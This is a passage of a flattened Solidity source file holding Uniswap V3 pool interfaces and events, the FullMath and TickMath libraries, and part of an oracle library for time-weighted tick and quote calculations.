including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal0X128() external view returns (uint256); /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool /// @dev This value can overflow the uint256 function feeGrowthGlobal1X128() external view returns (uint256); /// @notice The amounts of token0 and token1 that are owed to the protocol /// @dev Protocol fees will never exceed uint128 max in either token function protocolFees() external view returns (uint128 token0, uint128 token1); /// @notice The currently in range liquidity available to the pool /// @dev This value has no relationship to the total liquidity across all ticks function liquidity() external view returns (uint128); /// @notice Look up information about a specific tick in the pool /// @param tick The tick to look up /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or /// tick upper, /// liquidityNet how much liquidity changes when the pool price crosses the tick, /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0, /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1, /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick, /// secondsOutside the seconds spent on the other side of the tick from the current tick, /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false. /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0. /// In addition, these values are only relative and must be used only in comparison to previous snapshots for /// a specific position. function ticks(int24 tick) external view returns ( uint128 liquidityGross, int128 liquidityNet, uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128, int56 tickCumulativeOutside, uint160 secondsPerLiquidityOutsideX128, uint32 secondsOutside, bool initialized ); /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information function tickBitmap(int16 wordPosition) external view returns (uint256); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); /// @notice Returns data about a specific observation index /// @param index The element of the observations array to fetch /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time /// ago, rather than at a specific index in the array. /// @return blockTimestamp The timestamp of the observation, /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp, /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp, /// Returns initialized whether the observation has been initialized and the values are safe to use function observations(uint256 index) external view returns ( uint32 blockTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, bool initialized ); } // File contracts/Uniswap_V3/pool/IUniswapV3PoolDerivedState.sol /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed. /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first /// snapshot is taken and the second snapshot is taken. /// @param tickLower The lower tick of the range /// @param tickUpper The upper tick of the range /// @return tickCumulativeInside The snapshot of the tick accumulator for the range /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range /// @return secondsInside The snapshot of seconds per liquidity for the range function snapshotCumulativesInside(int24 tickLower, int24 tickUpper) external view returns ( int56 tickCumulativeInside, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside ); } // File contracts/Uniswap_V3/pool/IUniswapV3PoolActions.sol /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Sets the initial price for the pool /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96 function initialize(uint160 sqrtPriceX96) external; /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling /// with 0 amount{0,1} and sending the donation amount(s) from the callback /// @param recipient The address which will receive the token0 and token1 amounts /// @param amount0 The amount of token0 to send /// @param amount1 The amount of token1 to send /// @param data Any data to be passed through to the callback function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data ) external; /// @notice Increase the maximum number of price and liquidity observations that this pool will store /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to /// the input observationCardinalityNext. /// @param observationCardinalityNext The desired minimum number of observations for the pool to store function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external; } // File contracts/Uniswap_V3/pool/IUniswapV3PoolOwnerActions.sol /// @title Permissioned pool actions /// @notice Contains pool methods that may only be called by the factory owner interface IUniswapV3PoolOwnerActions { /// @notice Set the denominator of the protocol's % share of the fees /// @param feeProtocol0 new protocol fee for token0 of the pool /// @param feeProtocol1 new protocol fee for token1 of the pool function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external; /// @notice Collect the protocol fee accrued to the pool /// @param recipient The address to which collected protocol fees should be sent /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1 /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0 /// @return amount0 The protocol fee collected in token0 /// @return amount1 The protocol fee collected in token1 function collectProtocol( address recipient, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); } // File contracts/Uniswap_V3/pool/IUniswapV3PoolEvents.sol /// @title Events emitted by a pool /// @notice Contains all events emitted by the pool interface IUniswapV3PoolEvents { /// @notice Emitted exactly once by a pool when #initialize is first called on the pool /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96 /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool event Initialize(uint160 sqrtPriceX96, int24 tick); /// @notice Emitted when liquidity is minted for a given position /// @param sender The address that minted the liquidity /// @param owner The owner of the position and recipient of any minted liquidity /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity minted to the position range /// @param amount0 How much token0 was required for the minted liquidity /// @param amount1 How much token1 was required for the minted liquidity event Mint( address sender, address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted when fees are collected by the owner of a position /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees /// @param owner The owner of the position for which fees are collected /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount0 The amount of token0 fees collected /// @param amount1 The amount of token1 fees collected event Collect( address indexed owner, address recipient, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount0, uint128 amount1 ); /// @notice Emitted when a position's liquidity is removed /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect /// @param owner The owner of the position for which liquidity is removed /// @param tickLower The lower tick of the position /// @param tickUpper The upper tick of the position /// @param amount The amount of liquidity to remove /// @param amount0 The amount of token0 withdrawn /// @param amount1 The amount of token1 withdrawn event Burn( address indexed owner, int24 indexed tickLower, int24 indexed tickUpper, uint128 amount, uint256 amount0, uint256 amount1 ); /// @notice Emitted by the pool for any swaps between token0 and token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the output of the swap /// @param amount0 The delta of the token0 balance of the pool /// @param amount1 The delta of the token1 balance of the pool /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96 /// @param liquidity The liquidity of the pool after the swap /// @param tick The log base 1.0001 of price of the pool after the swap event Swap( address indexed sender, address indexed recipient, int256 amount0, int256 amount1, uint160 sqrtPriceX96, uint128 liquidity, int24 tick ); /// @notice Emitted by the pool for any flashes of token0/token1 /// @param sender The address that initiated the swap call, and that received the callback /// @param recipient The address that received the tokens from flash /// @param amount0 The amount of token0 that was flashed /// @param amount1 The amount of token1 that was flashed /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee event Flash( address indexed sender, address indexed recipient, uint256 amount0, uint256 amount1, uint256 paid0, uint256 paid1 ); /// @notice Emitted by the pool for increases to the number of observations that can be stored /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index /// just before a mint/swap/burn. /// @param observationCardinalityNextOld The previous value of the next observation cardinality /// @param observationCardinalityNextNew The updated value of the next observation cardinality event IncreaseObservationCardinalityNext( uint16 observationCardinalityNextOld, uint16 observationCardinalityNextNew ); /// @notice Emitted when the protocol fee is changed by the pool /// @param feeProtocol0Old The previous value of the token0 protocol fee /// @param feeProtocol1Old The previous value of the token1 protocol fee /// @param feeProtocol0New The updated value of the token0 protocol fee /// @param feeProtocol1New The updated value of the token1 protocol fee event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New); /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner /// @param sender The address that collects the protocol fees /// @param recipient The address that receives the collected protocol fees /// @param amount0 The amount of token0 protocol fees that is withdrawn /// @param amount0 The amount of token1 protocol fees that is withdrawn event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1); } // File contracts/Uniswap_V3/IUniswapV3Pool.sol /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // File contracts/Uniswap_V3/libraries/FullMath.sol /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = (type(uint256).max - denominator + 1) & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // File contracts/Uniswap_V3/libraries/TickMath.sol /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(int256(absTick) <= int256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } // File contracts/Uniswap_V3/periphery/libraries/OracleLibrary.sol /// @title Oracle library /// @notice Provides functions to integrate with V3 pool oracle library OracleLibrary { /// @notice Calculates time-weighted means of tick and liquidity for a given Uniswap V3 pool /// @param pool Address of the pool that we want to observe /// @param secondsAgo Number of seconds in the past from which to calculate the time-weighted means /// @return arithmeticMeanTick The arithmetic mean tick from (block.timestamp - secondsAgo) to block.timestamp /// @return harmonicMeanLiquidity The harmonic mean liquidity from (block.timestamp - secondsAgo) to block.timestamp function consult(address pool, uint32 secondsAgo) internal view returns (int24 arithmeticMeanTick, uint128 harmonicMeanLiquidity) { require(secondsAgo != 0, 'BP'); uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = secondsAgo; secondsAgos[1] = 0; (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) = IUniswapV3Pool(pool).observe(secondsAgos); int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0]; uint160 secondsPerLiquidityCumulativesDelta = secondsPerLiquidityCumulativeX128s[1] - secondsPerLiquidityCumulativeX128s[0]; arithmeticMeanTick = int24(tickCumulativesDelta / int32(secondsAgo)); // Always round to negative infinity if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int32(secondsAgo) != 0)) arithmeticMeanTick--; // We are multiplying here instead of shifting to ensure that harmonicMeanLiquidity doesn't overflow uint128 uint192 secondsAgoX160 = uint192(secondsAgo) * type(uint160).max; harmonicMeanLiquidity = uint128(secondsAgoX160 / (uint192(secondsPerLiquidityCumulativesDelta) << 32)); } /// @notice Given a tick and a token amount, calculates the amount of token received in exchange /// @param tick Tick value used to calculate the quote /// @param baseAmount Amount of token to be converted /// @param baseToken Address of an ERC20 token contract used as the baseAmount denomination /// @param quoteToken Address of an ERC20 token contract used as the quoteAmount denomination /// @return quoteAmount Amount of quoteToken received for baseAmount of baseToken function getQuoteAtTick( int24 tick, uint128 baseAmount, address baseToken, address quoteToken ) internal pure returns (uint256 quoteAmount) { uint160 sqrtRatioX96 = TickMath.getSqrtRatioAtTick(tick); // Calculate quoteAmount with better precision if it doesn't overflow when multiplied by itself if (sqrtRatioX96 <= type(uint128).max) { uint256 ratioX192 = uint256(sqrtRatioX96) * sqrtRatioX96; quoteAmount = baseToken < quoteToken ? FullMath.mulDiv(ratioX192, baseAmount, 1 << 192) : FullMath.mulDiv(1 << 192, baseAmount, ratioX192); } else { uint256 ratioX128 = FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, 1 << 64); quoteAmount = baseToken < quoteToken ? FullMath.mulDiv(ratioX128, baseAmount, 1 << 128) : FullMath.mulDiv(1 << 128, baseAmount, ratioX128); } } /// @notice Given a pool, it returns the number of seconds ago of the oldest stored observation /// @param pool Address of Uniswap V3 pool that we want to observe /// @return secondsAgo The number of seconds ago of the oldest observation stored for the pool function getOldestObservationSecondsAgo(address pool) internal view returns (uint32 secondsAgo) { (, , uint16 observationIndex, uint16 observationCardinality, , , ) = IUniswapV3Pool(pool).slot0(); require(observationCardinality > 0, 'NI'); (uint32 observationTimestamp, , , bool initialized) = IUniswapV3Pool(pool).observations((observationIndex + 1) % observationCardinality); // The next index might not be initialized if the cardinality is in the process of increasing // In this case the oldest observation is always in index 0 if (!initialized) { (observationTimestamp, , , ) = IUniswapV3Pool(pool).observations(0); } secondsAgo = uint32(block.timestamp) - observationTimestamp; } /// @notice Given a pool, it returns the tick value as of the start of the current block /// @param pool Address of Uniswap V3 pool /// @return The tick that the pool was in at the start of the current block function getBlockStartingTickAndLiquidity(address pool) internal view returns (int24, uint128) { (, int24 tick, uint16 observationIndex, uint16 observationCardinality, , , ) = IUniswapV3Pool(pool).slot0(); // 2 observations are needed to reliably calculate the block starting tick require(observationCardinality > 1, 'NEO'); // If the latest observation occurred in the past, then no tick-changing trades have happened in this block // therefore the tick in `slot0` is the same as at the beginning of the current block. // We don't need to check if this observation is initialized - it is guaranteed to be. (uint32 observationTimestamp, int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128, ) = IUniswapV3Pool(pool).observations(observationIndex); if (observationTimestamp != uint32(block.timestamp)) { return (tick, IUniswapV3Pool(pool).liquidity()); } uint256 prevIndex = (uint256(observationIndex) + observationCardinality - 1) % observationCardinality; ( uint32 prevObservationTimestamp, int56 prevTickCumulative, uint160 